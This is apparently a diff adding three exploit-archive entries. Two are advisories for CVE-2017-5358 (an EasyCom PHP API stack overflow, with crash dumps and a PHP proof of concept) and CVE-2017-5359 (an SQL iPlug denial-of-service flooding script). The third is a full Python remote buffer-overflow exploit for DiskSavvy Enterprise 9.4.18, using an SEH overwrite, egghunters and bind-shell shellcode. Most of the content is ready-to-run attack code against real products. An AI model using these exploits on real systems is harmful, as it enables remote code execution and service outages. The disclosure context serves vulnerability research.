+PHP compiled module API=20090626 (need to use for EasyCom IBM DLL)
+
+
+Vulnerability Type:
+=========================
+API Stack Buffer Overflow
+
+
+
+CVE Reference:
+==============
+CVE-2017-5358
+
+
+
+Security Issue:
+================
+EasyCom PHP API suffers from multiple Buffer Overflow entry points, which can result in arbitrary code execution on affected system.
+Below I provide some proof of concept details for a few of them.
+
+
+EAX 00000000
+ECX 41414141
+EDX 771D6ACD ntdll.771D6ACD
+EBX 00000000
+ESP 00C0F238
+EBP 00C0F258
+ESI 00000000
+EDI 00000000
+EIP 41414141
+
+C 0  ES 002B 32bit 0(FFFFFFFF)
+P 1  CS 0023 32bit 0(FFFFFFFF)
+A 0  SS 002B 32bit 0(FFFFFFFF)
+Z 1  DS 002B 32bit 0(FFFFFFFF)
+S 0  FS 0053 32bit 7EFDD000(FFF)
+T 0  GS 002B 32bit 0(FFFFFFFF)
+D 0
+O 0  LastErr ERROR_SUCCESS (00000000)
+EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
+
+
+SEH chain of main thread
+Address    SE handler
+00C0F354   kernel32.7600410E
+00C0FF78   42424242
+52525252   *** CORRUPT ENTRY ***
+
+WinDbg dump...
+
+(720.a70): Access violation - code c0000005 (first/second chance not available)
+*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
+eax=00000000 ebx=00000000 ecx=41414141 edx=77316acd esi=00000000 edi=00000000
+eip=41414141 esp=004111e8 ebp=00411208 iopl=0         nv up ei pl zr na pe nc
+cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
+41414141 ??              ???
+0:000> !load winext/msec
+0:000> !exploitable
+
+!exploitable 1.6.0.0
+Exploitability Classification: EXPLOITABLE
+Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000041414141
+called from ntdll!RtlDosSearchPath_Ustr+0x0000000000000ada (Hash=0x05cdf8a7.0xce7d7411)
+
+User mode DEP access violations are exploitable.
+
+
+PHP Crash:
+=============
+
+Problem signature:
+  Problem Event Name:	BEX
+  Application Name:	php.exe
+  Application Version:	5.3.1.0
+  Application Timestamp:	4b06c430
+  Fault Module Name:	StackHash_e98d
+  Fault Module Version:	0.0.0.0
+  Fault Module Timestamp:	00000000
+  Exception Offset:	41414141
+  Exception Code:	c0000005
+  Exception Data:	00000008
+  OS Version:	6.1.7601.2.1.0.256.48
+
+
+
+Exploit/POC:
+===============
+php_Easycom5_3_0.dll 0day vuln POC minus the exploit, I'm bored goin to the park.
+
+<?php
+
+/* Basic connection to an AS400 iBMI System  */
+
+$payload=str_repeat("A", 4000);                                          #BOOM!
+$payload=str_repeat("A",1868)."RRRRBBBB".str_repeat("\x90",100);         #SEH
+
+$conn = i5_connect($payload, "QPGMR", "PASSW") or die(i5_errormsg());    #VULN 
+$conn = i5_pconnect($payload, 'QSECOFR', 'password', array() );          #VULN 
+$conn = i5_private_connect($payload, $user, $password, array());         #VULN 
+
+echo 'EasyCom PHP API 0day ' . $conn;
+
+?>
+
+
+
+Network Access:
+===============
+Remote
+
+
+
+Severity:
+==========
+High
+
+
+
+Disclosure Timeline:
+======================================
+Vendor Notification: December 22, 2016
+Vendor acknowledgement: December 23, 2016
+Vendor Release Fix/Version February 20, 2017
+February 22, 2017 : Public Disclosure
+
+
+
+
+[+] Disclaimer
+The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
+Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
+that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
+is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
+for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
+or exploits by the author or elsewhere. 

platforms/windows/dos/41426.txt

@@ -0,0 +1,99 @@
+[+] Credits: John Page AKA Hyp3rlinX	
+[+] Website: hyp3rlinx.altervista.org
+[+] Source:  http://hyp3rlinx.altervista.org/advisories/EASYCOM-SQL-IPLUG-DENIAL-OF-SERVICE.txt
+[+] ISR: ApparitionSec
+
+
+Vendor:
+================
+easycom-aura.com
+
+
+
+Product:
+===========
+SQL iPlug
+EasycomPHP_4.0029.iC8im2.exe
+
+SQL iPlug provides System i applications real-time access to heterogeneous and external databases
+(Oracle, SQL Server, MySQL, MS Access, Sybase, Progress) in a completely transparent manner and without requiring replication.
+
+
+
+Vulnerability Type:
+===================
+Denial Of Service
+
+
+
+CVE Reference:
+==============
+CVE-2017-5359
+
+
+
+Security Issue:
+================
+SQL iPlug listens on port 7078 by default, it suffers from denial of service when sending overly long string via
+HTTP requests fed to the "D$EVAL" parameter.
+
+
+
+Exploit/POC:
+============
+
+import socket
+
+print 'EasyCom SQL-IPLUG DOS 0day!'
+print 'hyp3rlinx'
+
+IP = raw_input("[IP]> ")
+PORT = 7078 
+payload="A"*43000
+ 
+arr=[]
+c=0
+while 1:
+    try:
+        arr.append(socket.create_connection((IP,PORT)))
+        arr[c].send('GET /?D$EVAL='+payload+" HTTP/1.1\r\n\r\n")
+        c+=1
+        print "doit!"
+    except socket.error:
+        print "[*] 5th ave 12:00"
+        raw_input()
+        break
+
+
+
+
+Disclosure Timeline:
+======================================
+Vendor Notification: December 22, 2016
+Vendor acknowledgement: December 23, 2016
+Vendor Release Fix/Version February 20, 2017
+February 22, 2017 : Public Disclosure
+
+
+
+
+Network Access:
+===============
+Remote
+
+
+
+Severity:
+===========
+Medium
+
+
+
+
+[+] Disclaimer
+The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
+Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
+that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
+is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
+for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
+or exploits by the author or elsewhere. 

platforms/windows/remote/41436.py

@@ -0,0 +1,98 @@
+# Exploit Title: DiskSavvy Enterprise 9.4.18 - Remote buffer overflow - SEH overwrite with WoW64 egghunters 
+# Date: 2017-02-22
+# Exploit Author: Peter Baris
+# Vendor Homepage: www.saptech-erp.com.au
+# Software Link: http://www.disksavvy.com/downloads.html
+# Version: 9.4.18
+# Tested on: Windows 7 Pro SP1 x64 (fully patched) and Windows 10 Pro x64
+
+# WoW64 egghunters are in use in this exploit, meaning it will work on specific 64bit operating systems
+# Original Win7 egghunter: https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/ - but I modified it for this exploit
+# Win10 WoW64 egghunter only supports x86_64 platform - developed by Peter Baris based on corelan's Win7 version
+# If you require a WoW64 egghunter for additional windows versions, contact me through my website http://saptech-erp.com.au/services.php
+
+import socket
+import sys
+
+try:
+    host = sys.argv[1]
+    os = sys.argv[2]
+    port = 80
+except IndexError:
+    print "[+] Usage %s <host>  win7/win10" % sys.argv[0]
+    print "[i] Example: dsavvy.py localhost win10"
+    sys.exit()
+
+
+# 355 bytes bind shell, PORT 4444,  bad chars \x09\x0a\x0d\x20
+shell = ("\xba\x6c\xb1\x12\x02\xd9\xc7\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
+"\x53\x83\xee\xfc\x31\x56\x0e\x03\x3a\xbf\xf0\xf7\x3e\x57\x76"
+"\xf7\xbe\xa8\x17\x71\x5b\x99\x17\xe5\x28\x8a\xa7\x6d\x7c\x27"
+"\x43\x23\x94\xbc\x21\xec\x9b\x75\x8f\xca\x92\x86\xbc\x2f\xb5"
+"\x04\xbf\x63\x15\x34\x70\x76\x54\x71\x6d\x7b\x04\x2a\xf9\x2e"
+"\xb8\x5f\xb7\xf2\x33\x13\x59\x73\xa0\xe4\x58\x52\x77\x7e\x03"
+"\x74\x76\x53\x3f\x3d\x60\xb0\x7a\xf7\x1b\x02\xf0\x06\xcd\x5a"
+"\xf9\xa5\x30\x53\x08\xb7\x75\x54\xf3\xc2\x8f\xa6\x8e\xd4\x54"
+"\xd4\x54\x50\x4e\x7e\x1e\xc2\xaa\x7e\xf3\x95\x39\x8c\xb8\xd2"
+"\x65\x91\x3f\x36\x1e\xad\xb4\xb9\xf0\x27\x8e\x9d\xd4\x6c\x54"
+"\xbf\x4d\xc9\x3b\xc0\x8d\xb2\xe4\x64\xc6\x5f\xf0\x14\x85\x37"
+"\x35\x15\x35\xc8\x51\x2e\x46\xfa\xfe\x84\xc0\xb6\x77\x03\x17"
+"\xb8\xad\xf3\x87\x47\x4e\x04\x8e\x83\x1a\x54\xb8\x22\x23\x3f"
+"\x38\xca\xf6\xaa\x30\x6d\xa9\xc8\xbd\xcd\x19\x4d\x6d\xa6\x73"
+"\x42\x52\xd6\x7b\x88\xfb\x7f\x86\x33\x12\xdc\x0f\xd5\x7e\xcc"
+"\x59\x4d\x16\x2e\xbe\x46\x81\x51\x94\xfe\x25\x19\xfe\x39\x4a"
+"\x9a\xd4\x6d\xdc\x11\x3b\xaa\xfd\x25\x16\x9a\x6a\xb1\xec\x4b"
+"\xd9\x23\xf0\x41\x89\xc0\x63\x0e\x49\x8e\x9f\x99\x1e\xc7\x6e"
+"\xd0\xca\xf5\xc9\x4a\xe8\x07\x8f\xb5\xa8\xd3\x6c\x3b\x31\x91"
+"\xc9\x1f\x21\x6f\xd1\x1b\x15\x3f\x84\xf5\xc3\xf9\x7e\xb4\xbd"
+"\x53\x2c\x1e\x29\x25\x1e\xa1\x2f\x2a\x4b\x57\xcf\x9b\x22\x2e"
+"\xf0\x14\xa3\xa6\x89\x48\x53\x48\x40\xc9\x63\x03\xc8\x78\xec"
+"\xca\x99\x38\x71\xed\x74\x7e\x8c\x6e\x7c\xff\x6b\x6e\xf5\xfa"
+"\x30\x28\xe6\x76\x28\xdd\x08\x24\x49\xf4")
+
+crash = "\x41" * 2487
+retn = "\x38\x2e\x14\x10" # 0x10142e38 pop edi pop esi ret
+filler = "\x44" * (2505-334-300-100)
+nseh = "\xeb\x08\x90\x90"
+stack_fill="\x41"*100
+nops="\x90"*8
+egg = "t00wt00w"
+
+if os == "win7":
+  wow64_egghunter = ("\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
+"\x33\xd2" 
+"\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
+"\x2e\x5a\x3c\x05\x74\xef\xb8" 
+"\x74\x30\x30\x77"
+"\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
+"\xe2\x64\xff\x13\x5e\x5a\xeb\xdf")
+
+elif os == "win10":
+  wow64_egghunter = ("\x66\x8c\xcb\x80\xfb\x23\x75\x10\x31\xd2\x66\x81\xca\xff\x0f\x31"
+"\xdb\x42\x52\x53\x53\x53\xb3\xc0\x80\xfb\xc0\x74\x13\x3c\x05\x74\xee\xb8"
+"\x74\x30\x30\x77"
+"\x89\xd7\xaf\x75\xe4\xaf\x75\xe1\xff\xe7"
+"\x6a\x29\x58\x64\xff\x13\x83\xc4\x0c\x5a\xeb\xe1")
+
+else:
+  print "[!] This windows version is not supported yet"
+  exit(0)
+
+exploit = crash + nseh + retn + nops + wow64_egghunter + stack_fill + egg + nops  + shell + filler
+
+buffer = "GET /"+exploit+" HTTP/1.1\r\n"
+buffer+= "Host: "+host+"\r\n"
+buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
+buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
+buffer+="Accept-Language: en-US,en;q=0.5\r\n"
+buffer+="Accept-Encoding: gzip, deflate\r\n"
+buffer+="Referer: http://"+host+"/login\r\n"
+buffer+="Connection: keep-alive\r\n"
+buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
+buffer+="Content-Length: 5900\r\n\r\n"
+
+s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+connect=s.connect((host,port))
+s.send(buffer)
+s.close()
+